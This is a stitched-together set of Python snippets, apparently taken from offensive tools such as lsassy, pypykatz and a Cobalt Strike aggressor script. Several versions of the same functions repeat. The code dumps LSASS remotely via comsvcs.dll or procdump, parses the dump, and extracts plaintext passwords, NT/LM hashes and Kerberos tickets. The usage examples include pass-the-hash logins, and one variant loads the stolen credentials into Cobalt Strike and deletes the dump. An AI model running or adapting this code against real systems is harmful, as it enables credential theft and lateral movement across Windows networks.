def parse(self): pypy_parse = pypykatz.parse_minidump_external(self._dumpfile) self._dumpfile.close() ssps = [ 'msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds' ] for luid in pypy_parse.logon_sessions: for ssp in ssps: for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) LMHash = getattr(cred, "LMHash", None) NThash = getattr(cred, "NThash", None) if LMHash is not None: LMHash = LMHash.hex() if NThash is not None: NThash = NThash.hex() # Remove empty password, machine accounts and buggy entries if self._raw: self._credentials.append( [ssp, domain, username, password, LMHash, NThash]) elif (not all(v is None or v == '' for v in [password, LMHash, NThash]) and username is not None and not username.endswith('$') and not username == ''): self._credentials.append( (ssp, domain, username, password, LMHash, NThash)) return RetCode(ERROR_SUCCESS)
def parse_lsass_blocking(lsass_file, lsass_unc): try: lsass_file.open(lsass_unc, 'rb') res = pypykatz.parse_minidump_external(lsass_file) lsass_file.close() return res, None except Exception as e: return None, e
def parseDump(dump): credentials = [] results = {} dico = {} result = pypykatz.parse_minidump_external(dump) for luid in result.logon_sessions: try: dico = result.logon_sessions[luid].to_dict() for cred in result.logon_sessions[luid].msv_creds: if '$' not in cred.username: credentials.append( (cred.domainname, cred.username, 'NA', (cred.LMHash.hex() if cred.LMHash else 'NA'), (cred.NThash.hex() if cred.NThash else 'NA'))) for cred in result.logon_sessions[luid].wdigest_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.username: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) ''' Little bug with this one ? for cred in result.logon_sessions[luid].ssp_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.username: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) ''' for cred in result.logon_sessions[luid].livessp_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.username: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) for cred in result.logon_sessions[luid].kerberos_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.username: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) for cred in result.logon_sessions[luid].credman_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.username: credentials.append((cred.domain, cred.username, cred.password, 'NA', 'NA')) for cred in result.logon_sessions[luid].tspkg_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.domainname: credentials.append((cred.username, cred.domainname, cred.password, 'NA', 'NA')) except Exception as e: logging.warning( "%sA problem occurs with target when accessing value (pypykatz). Err: %s" % (warningRed, e)) credentials = list(skip_duplicates(credentials)) return credentials
def parse(self): """ Parse remote dump file and delete it after parsing :return: List of Credentials """ credentials = [] tickets = [] try: pypy_parse = pypykatz.parse_minidump_external(self._dumpfile, chunksize=60 * 1024) except Exception as e: logging.error("An error occurred while parsing lsass dump", exc_info=True) return None ssps = [ 'msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds' ] for luid in pypy_parse.logon_sessions: for ssp in ssps: for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) LMHash = getattr(cred, "LMHash", None) NThash = getattr(cred, "NThash", None) SHA1 = getattr(cred, "SHAHash", None) if LMHash is not None: LMHash = LMHash.hex() if NThash is not None: NThash = NThash.hex() if SHA1 is not None: SHA1 = SHA1.hex() if username and (password or NThash or LMHash): credentials.append( Credential(ssp=ssp, domain=domain, username=username, password=password, lmhash=LMHash, nthash=NThash, sha1=SHA1)) for kcred in pypy_parse.logon_sessions[luid].kerberos_creds: for ticket in kcred.tickets: tickets.append(ticket) for cred in pypy_parse.orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: tickets.append(ticket) return credentials, tickets
def run(): import argparse parser = argparse.ArgumentParser( description='lsassy v{} - Remote lsass dump reader'.format(version)) group_auth = parser.add_argument_group('Authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('Output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-k', '--kerberos-dir', help='Save kerberos tickets to a directory.') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_out.add_argument('-o', '--outfile', help='Save results to file') parser.add_argument('-r', '--raw', action='store_true', help='Raw results without filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument( 'target', action='store', help= '[domain/]username[:password]@<host>:/share_name/path/to/lsass/dump') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() conn, share_name, file_path = ImpacketConnection.from_args( args, args.debug) ifile = ImpacketFile() ifile.open(conn, share_name, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) parser = Parser(dumpfile) parser.output(args)
def run(): import argparse parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') parser.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') parser.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') parser.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') parser.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') parser.add_argument('-d', '--debug', action='store_true', help = 'Debug output') parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>:/shareName/path/to/lsass/dump') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) args = parser.parse_args() conn, share_name, file_path = ImpacketConnection.from_args(args, args.debug) ifile = ImpacketFile() ifile.open(conn, share_name, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) LSACMDHelper().process_results({"dumfile": dumpfile}, [], args)
def main(): for chk in [512, 1024, 5 * 1024, 10 * 1024, 20 * 1024, 50 * 1024]: f = DebugFile(sys.argv[1]) mimi = pypykatz.parse_minidump_external(f, chunksize=chk, packages=['all']) res = sorted(f.reads, key=lambda x: x[0]) i = 0 for pos, n in res: #print('READ: %s %s' % (pos, n)) if n < 1024: i += 1 print('chk : %s' % chk) print('reads: %s' % len(f.reads)) print('small reads: %s' % i) print('total reads: %s' % (f.total_read)) print('') print('DONE!')
def main(file): #cred_dict= {'luid': [], 'creds': []} cred_dict= [] #cred_dict = {'ssp', 'domain', 'username', 'password', 'lmhash', 'nthash'} dmpContents = open(file, "rb") pypyParse = pypykatz.parse_minidump_external(dmpContents) dmpContents.close() ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds'] for luid in pypyParse.logon_sessions: for ssp in ssps: for cred in getattr(pypyParse.logon_sessions[luid], ssp, []): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) LMHash = getattr(cred, "LMHash", None) NThash = getattr(cred, "NThash", None) if LMHash is not None: LMHash = LMHash.hex() if NThash is not None: NThash = NThash.hex() if (not all(v is None or v == '' for v in [password, LMHash, NThash]) and username is not None and not username.endswith('$') and not username == ''): if not LMHash: LMHash = "aad3b435b51404eeaad3b435b51404ee" if not password: password = "******" creds = {'ssp':ssp, 'domain':domain, 'username':username, 'password':password, 'lmhash':LMHash, 'nthash':NThash} cred_dict.append(creds) cred_json = json.dumps(cred_dict) print(cred_json)
def parseDump(dump, target): credentials = [] result = [] dico = {} try: result = pypykatz.parse_minidump_external(dump) for luid in result.logon_sessions: dico = result.logon_sessions[luid].to_dict() for cred in result.logon_sessions[luid].msv_creds: if cred.username != None: credentials.append( (cred.domainname, cred.username, 'NA', (cred.LMHash.hex() if cred.LMHash else 'NA'), (cred.NThash.hex() if cred.NThash else 'NA'))) for cred in result.logon_sessions[luid].wdigest_creds: if cred.password and type(cred.password) != bytes: if 'TBAL' not in cred.password: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) for cred in result.logon_sessions[luid].ssp_creds: if cred.password and type(cred.password) != bytes: if 'TBAL' not in cred.password: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) for cred in result.logon_sessions[luid].livessp_creds: if cred.password and type(cred.password) != bytes: if 'TBAL' not in cred.password: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) for cred in result.logon_sessions[luid].kerberos_creds: if cred.password and type(cred.password) != bytes: if 'TBAL' not in cred.password: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) for cred in result.logon_sessions[luid].credman_creds: if cred.password and type(cred.password) != bytes: if 'TBAL' not in cred.password: credentials.append( ("NA", cred.username, cred.password, 'NA', 'NA')) for cred in result.logon_sessions[luid].tspkg_creds: if cred.password and type(cred.password) != bytes: if 'TBAL' not in cred.password: credentials.append((cred.username, cred.domainname, cred.password, 'NA', 'NA')) except Exception as e: logging.warning( "%sA problem occurs during the parse of %s%s%s's dump. Err: %s." % (warningRed, red, target, white, e)) logging.debug("%s==== STACKTRACE ====" % (blue)) if logging.getLogger().getEffectiveLevel() <= 10: traceback.print_exc(file=sys.stdout) logging.debug("%s==== STACKTRACE ====%s" % (blue, white)) credentials = list(skip_duplicates(credentials)) return credentials
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter ) group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') parser.add_argument('-p', '--procdump', action='store', help='Procdump path') parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) file_path = dumper.dump() if not file_path: logger.error("lsass could not be dumped") exit() logger.success("Process lsass.exe is being dumped") ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter) group_dump = parser.add_argument_group('dump') group_dump.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') group_dump.add_argument('-p', '--procdump', action='store', help='Procdump path') group_dump.add_argument( '--timeout', default="10", action='store', help='Timeout before considering lsass was not dumped successfully') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument( '--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument( '-r', '--raw', action='store_true', help= 'No basic result filtering (Display host credentials and duplicates)') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) if isinstance(conn, RetCode): return_code = conn lsassy_exit(logger, return_code) return_code = conn.isadmin() if not return_code.success(): conn.close() lsassy_exit(logger, return_code) dumper = None ifile = None try: if not args.dumppath: dumper = Dumper(conn, args, logger) ifile = dumper.dump() if isinstance(ifile, RetCode): return_code = ifile else: logger.success("Process lsass.exe has been dumped") else: ifile = ImpacketFile(conn, logger).open(args.dumppath) if not isinstance(ifile, ImpacketFile): return_code = ifile if return_code.success(): dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) except KeyboardInterrupt as e: print("\nQuitting gracefully...") return_code = RetCode(ERROR_USER_INTERRUPTION) except Exception as e: return_code = RetCode(ERROR_UNDEFINED, e) pass finally: try: ifile.close() except Exception as e: pass if dumper is not None: dumper.clean() conn.close() lsassy_exit(logger, return_code)
def parse_lsass(bid, filepath, boffilepath, chunksize, packages=['all'], outputs=['text'], to_delete=False, add_creds=True): engine.message('parse_lsass invoked') engine.message('bid %s' % bid) engine.message('filepath %s' % filepath) engine.message('chunksize %s' % chunksize) engine.message('packages %s' % (','.join(packages))) starttime = datetime.datetime.utcnow() bfile = BaconFileReader(bid, filepath, boffilepath, chunksize=chunksize) mimi = pypykatz.parse_minidump_external(bfile, chunksize=chunksize, packages=packages) engine.message(str(bfile)) endtime = datetime.datetime.utcnow() runtime = (endtime - starttime).total_seconds() engine.message('TOTAL RUNTIME: %ss' % runtime) if 'text' in outputs: engine.message(str(mimi)) aggressor.blog(bid, str(mimi)) if 'json' in outputs: engine.message(mimi.to_json()) aggressor.blog(bid, mimi.to_json()) if 'grep' in outputs: engine.message(mimi.to_grep()) aggressor.blog(bid, mimi.to_grep()) if to_delete is True: engine.call('fdelete', [bid, boffilepath, filepath, 1]) if add_creds is True: host = str(bid) for luid in mimi.logon_sessions: res = mimi.logon_sessions[luid].to_dict() for msv in res['msv_creds']: engine.message(repr(msv)) if pwconv(msv['NThash']) is not None: source = '[AGGROKATZ][%s][%s] LSASS dump %s' % ( 'msv', 'NT', filepath) aggressor.credential_add(str(msv['username']), pwconv(msv['NThash']), str(msv['domainname']), source, host) if pwconv(msv['LMHash']) is not None: source = '[AGGROKATZ][%s][%s] LSASS dump %s' % ( 'msv', 'LM', filepath) aggressor.credential_add(str(msv['username']), pwconv(msv['LMHash']), str(msv['domainname']), source, host) for pkgt in [ 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds' ]: for pkg in res[pkgt]: if pwconv(pkg['password']) is not None: source = '[AGGROKATZ][%s] LSASS dump %s' % (pkgt, filepath) aggressor.credential_add(str(pkg['username']), pwconv(pkg['password']), str(pkg['domainname']), source, host)
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -P /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy -p C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q -p C$/Windows/Temp/lsass.dmp [email protected] lsassy --hashes 952c28bd2fd728898411b301475009b7 [email protected] lsassy -d adsec.local/pixis:[email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter) group_auth = parser.add_argument_group('procdump (default DLL)') group_auth.add_argument('-p', '--procdump', action='store', help='procdump path') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument( '--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-r', '--raw', action='store_true', help='Raw results without filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) if args.procdump: file_path = dumper.dump("procdump") else: file_path = dumper.dump("dll") if not file_path: exit() ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()